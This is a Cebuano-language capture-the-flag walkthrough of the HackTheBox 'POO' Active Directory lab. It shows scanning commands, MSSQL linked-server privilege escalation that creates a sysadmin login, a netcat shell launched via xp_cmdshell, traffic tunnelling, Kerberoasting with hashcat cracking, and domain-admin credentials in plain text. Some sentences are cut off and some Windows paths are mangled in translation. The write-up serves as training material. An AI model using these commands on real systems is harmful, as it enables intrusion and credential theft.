Niini nga artikulo atong analisahon ang pagpasa sa dili lamang usa ka makina, apan usa ka tibuok nga mini-laboratory gikan sa site
Ingon sa gipahayag sa paghulagway, ang POO gidisenyo aron sulayan ang mga kahanas sa tanan nga mga yugto sa pag-atake sa usa ka gamay nga palibot sa Active Directory. Ang katuyoan mao ang pagkompromiso sa usa ka magamit nga host, pagpataas sa mga pribilehiyo, ug sa katapusan ikompromiso ang tibuuk nga domain pinaagi sa pagkolekta sa 5 nga mga bandila sa proseso.
Ang koneksyon sa laboratoryo pinaagi sa VPN. Girekomenda nga dili magkonektar gikan sa usa ka computer sa trabaho o gikan sa usa ka host diin adunay data nga hinungdanon kanimo, tungod kay natapos ka sa usa ka pribado nga network sa mga tawo nga adunay nahibal-an sa natad sa seguridad sa kasayuran :)
Impormasyon sa organisasyon
Aron mahibal-an nimo ang bahin sa mga bag-ong artikulo, software ug uban pang impormasyon, akong gibuhat
Ang tanan nga impormasyon gipresentar alang sa mga katuyoan sa edukasyon lamang. Ang tagsulat niini nga dokumento dili modawat sa bisan unsa nga responsibilidad sa bisan unsa nga kadaot nga gipahinabo ni bisan kinsa tungod sa paggamit sa kahibalo ug mga teknik nga nakuha gikan sa pagtuon niini nga dokumento.
Intro
Kini nga endgame naglangkob sa duha ka mga makina ug adunay 5 nga mga bandila.
Gihatag usab ang paghulagway ug adres sa magamit nga host.
Magsugod na ta!
Recon nga bandila
Kini nga makina adunay IP address nga 10.13.38.11, nga akong idugang sa /etc/hosts.
10.13.38.11 poo.htb
Una sa tanan, gi-scan namon ang bukas nga mga pantalan. Tungod kay ang pag-scan sa tanan nga mga pantalan nga adunay nmap nagkinahanglag taas nga oras, una nako buhaton kini gamit ang masscan. Among gi-scan ang tanang TCP ug UDP ports gikan sa tun0 interface sa gikusgon nga 500 ka pakete kada segundo.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Karon, aron makakuha og mas detalyado nga impormasyon bahin sa mga serbisyo nga nagdagan sa mga pantalan, magpadagan kita og scan gamit ang -A nga kapilian.
nmap -A poo.htb -p80,1433
Sa ingon, kami adunay mga serbisyo sa IIS ug MSSQL. Sa kini nga kaso, atong mahibal-an ang tinuod nga DNS nga ngalan sa domain ug computer. Sa web server, giabiabi kami sa home page sa IIS.
Atong balikon ang mga direktoryo. Gigamit nako ang gobuster alang niini. Sa mga parametro among gipiho ang gidaghanon sa mga sapa 128 (-t), URL (-u), diksyonaryo (-w) ug mga extension nga makapainteres kanamo (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Naghatag kini kanamo og HTTP authentication para sa /admin nga direktoryo, ingon man usa ka accessible nga serbisyo sa desktop .DS_Store file. .DS_Store mao ang mga file nga nagtipig sa naandan nga mga setting alang sa usa ka folder, sama sa usa ka lista sa mga file, mga lokasyon sa icon, ug ang gipili nga imahe sa background. Ang ingon nga file mahimo’g mapunta sa direktoryo sa web server sa mga nag-develop sa web. Niining paagiha makakuha kami kasayuran bahin sa mga sulud sa direktoryo. Alang niini mahimo nimong gamiton
python3 dsstore_crawler.py -i http://poo.htb/
Atong makuha ang mga sulod sa direktoryo. Ang labing makapaikag nga butang dinhi mao ang direktoryo sa / dev, diin mahimo naton tan-awon ang mga gigikanan ug mga db file sa duha nga mga sanga. Apan magamit namo ang unang 6 ka karakter sa mga ngalan sa file ug direktoryo kon ang serbisyo huyang sa IIS ShortName. Mahimo nimong susihon kini nga pagkahuyang gamit ang
Ug nakit-an namon ang usa ka text file nga nagsugod sa "poo_co". Wala nahibal-an kung unsa ang sunod nga buhaton, gipili ra nako gikan sa diksyonaryo sa mga direktoryo ang tanan nga mga pulong nga nagsugod sa "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Ug atong husayon kini gamit ang wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Ug among nakit-an ang husto nga pulong! Atong tan-awon kini nga file, i-save ang mga kredensyal (paghukom sa parameter sa DBNAME, kini gikan sa MSSQL).
Gitugyan namo ang bandila ug among gi-abante ang 20%.
Huh bandera
Nagkonektar kami sa MSSQL, gigamit nako ang DBeaver.
Wala kami makit-an nga bisan unsa nga makapaikag sa kini nga database, maghimo kita usa ka SQL Editor ug susihon kung unsa ang mga tiggamit.
SELECT name FROM master..syslogins;
Kami adunay duha ka tiggamit. Atong susihon ang atong mga pribilehiyo.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Busa, walay mga pribilehiyo. Atong tan-awon ang nalambigit nga mga server, gisulat ko ang bahin sa kini nga teknik sa detalye
SELECT * FROM master..sysservers;
Mao nga nakit-an namon ang lain nga SQL Server. Atong susihon ang pagpatuman sa mga sugo niini nga server gamit ang openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Ug makahimo pa gani kita og query tree.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Ang tinuod mao nga kung maghimo kami usa ka hangyo sa usa ka na-link nga server, ang hangyo gipatuman sa konteksto sa laing tiggamit! Atong tan-awon kung unsa nga konteksto sa gumagamit ang atong gipadagan sa na-link nga server.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Karon atong tan-awon kung unsa nga konteksto ang gihimo sa usa ka hangyo gikan sa usa ka na-link nga server sa atoa!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Mao nga kini ang konteksto sa DBO nga kinahanglan adunay tanan nga mga pribilehiyo. Atong susihon ang mga pribilehiyo sa kaso sa usa ka hangyo gikan sa usa ka linked server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Sama sa imong makita, nabatonan nato ang tanang pribilehiyo! Himoon nato ang atong admin nga ingon niini. Apan dili nila tugotan sila pinaagi sa openquery, buhaton kini pinaagi sa EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Ug karon nagkonektar kami sa mga kredensyal sa bag-ong tiggamit, pag-obserbar sa bag-ong database sa bandila.
Gitugyan namo kini nga bandila ug nagpadayon.
Bandera sa backtrack
Atong kuhaon ang kabhang gamit ang MSSQL, ako naggamit sa mssqlclient gikan sa impacket package.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Kinahanglan namon nga makakuha og mga password, ug ang una nga butang nga among nasugatan mao ang usa ka website. Sa ingon, kinahanglan namon ang usa ka web server config (dili posible nga magbilin usa ka kombenyente nga kabhang, dayag nga ang firewall nagdagan).
Apan gibalibaran ang pag-access. Bisan kung mabasa naton ang file gikan sa MSSQL, kinahanglan ra naton mahibal-an kung unsang mga sinultian sa programming ang gi-configure. Ug sa MSSQL nga direktoryo atong nahibal-an nga adunay Python.
Unya walay problema sa pagbasa sa web.config file.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Uban sa mga kredensyal nga nakit-an, adto sa / admin ug kuhaa ang bandila.
bandila sa tiilan
Sa tinuud, adunay pipila ka mga kasamok gikan sa paggamit sa usa ka firewall, apan sa pagtan-aw sa mga setting sa network, among namatikdan nga ang IPv6 protocol gigamit usab!
Idugang kini nga adres sa /etc/hosts.
dead:babe::1001 poo6.htb
Atong tan-awon pag-usab ang host, apan niining higayona sa IPv6.
Ug ang serbisyo sa WinRM magamit sa IPv6. Atong ikonektar ang nakit-an nga mga kredensyal.
Adunay usa ka bandila sa desktop, among gihatag kini.
P00ned nga bandera
Human sa pagpahigayon reconnaissance sa host gamit
setspn.exe -T intranet.poo -Q */*
Atong ipadagan ang sugo pinaagi sa MSSQL.
Niining paagiha, makuha namo ang SPN sa mga tiggamit p00_hr ug p00_adm, nga nagpasabot nga bulnerable sila sa pag-atake sama sa Kerberoasting. Sa laktod, makuha nato ang mga hash sa ilang mga password.
Una kinahanglan nimo nga makakuha usa ka lig-on nga kabhang alang sa tiggamit sa MSSQL. Apan tungod kay limitado kami sa pag-access, kami adunay koneksyon sa host pinaagi lamang sa mga pantalan 80 ug 1433. Apan posible nga ma-tunnel ang trapiko pinaagi sa port 80! Alang niini among gigamit
Apan kung gisulayan namon nga ma-access kini, nakakuha kami usa ka sayup nga 404. Nagpasabut kini nga ang *.aspx nga mga file wala gipatuman. Aron mapatuman ang mga file nga adunay kini nga mga extension, i-install ang ASP.NET 4.5 sama sa mosunod.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Ug karon, kung ma-access namon ang tunnel.aspx, makadawat kami usa ka tubag nga andam na ang tanan.
Atong ilunsad ang kliyente nga bahin sa aplikasyon, nga mag-relay sa trapiko. Ipasa namo ang tanang trapiko gikan sa port 5432 ngadto sa server.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Ug gigamit namon ang mga proxychain aron ipadala ang trapiko sa bisan unsang aplikasyon pinaagi sa among proxy. Atong idugang kini nga proxy sa configuration file /etc/proxychains.conf.
Karon atong i-upload ang programa sa server
Karon, pinaagi sa MSSQL, gilusad namo ang tigpaminaw.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Ug nagkonektar kami pinaagi sa among proxy.
proxychains rlwrap nc poo.htb 4321
Ug atong makuha ang mga hash.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Sunod kinahanglan nimo nga balikon kini nga mga hash. Tungod kay ang rockyou nga diksyonaryo wala maglangkob niini nga mga password, akong gigamit ang TANANG mga diksyonaryo sa password nga gihatag sa Seclist. Alang sa pagpangita gigamit namon ang hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Ug among makita ang duha ka password, ang una sa diksyonaryo dutch_passwordlist.txt, ug ang ikaduha sa Keyboard-Combinations.txt.
Ug busa kami adunay tulo ka tiggamit, adto ta sa domain controller. Una namong mahibal-an ang iyang adres.
Maayo, among nahibal-an ang IP address sa domain controller. Atong hibal-an ang tanan nga tiggamit sa domain, ingon man kung kinsa kanila ang usa ka tigdumala. Sa pag-download sa script aron makakuha og impormasyon PowerView.ps1. Dayon magkonektar kami gamit ang evil-winrm, nga nagtino sa direktoryo nga adunay script sa -s parameter. Ug unya atong ikarga ang PowerView script.
Karon kita adunay access sa tanan nga mga gimbuhaton niini. Ang p00_adm user morag usa ka pribilihiyo nga tiggamit, mao nga magtrabaho kami sa iyang konteksto. Magbuhat ta ug PSCredential object para ani nga user.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Karon ang tanan nga mga sugo sa Powershell diin atong gipiho ang Creds ipatuman ingon nga p00_adm. Atong ipakita ang usa ka lista sa mga tiggamit ug ang AdminCount attribute.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Ug busa, ang among tiggamit adunay pribilehiyo. Tan-awon nato kung unsa nga mga grupo siya.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Sa katapusan among gikumpirma nga ang tiggamit usa ka tagdumala sa domain. Kini naghatag kaniya sa katungod sa pag-log on sa domain controller sa layo. Atong sulayan ang pag-log in pinaagi sa WinRM gamit ang atong tunnel. Naglibog ko sa mga sayup nga gihimo sa reGeorg kung gigamit ang evil-winrm.
Unya gamiton nato ang lain, mas sayon,
Kami naningkamot sa pagkonektar, ug kami anaa sa sistema.
Apan walay bandila. Dayon tan-awa ang user ug susiha ang mga desktop.
Among nakit-an ang bandila sa mr3ks ug ang laboratoryo 100% nahuman.
Mao ra. Isip feedback, pagkomento kung bag-o ba ang imong nakat-unan gikan sa kini nga artikulo ug kung kini mapuslanon kanimo.
Mahimo kang moapil kanamo sa
Source: www.habr.com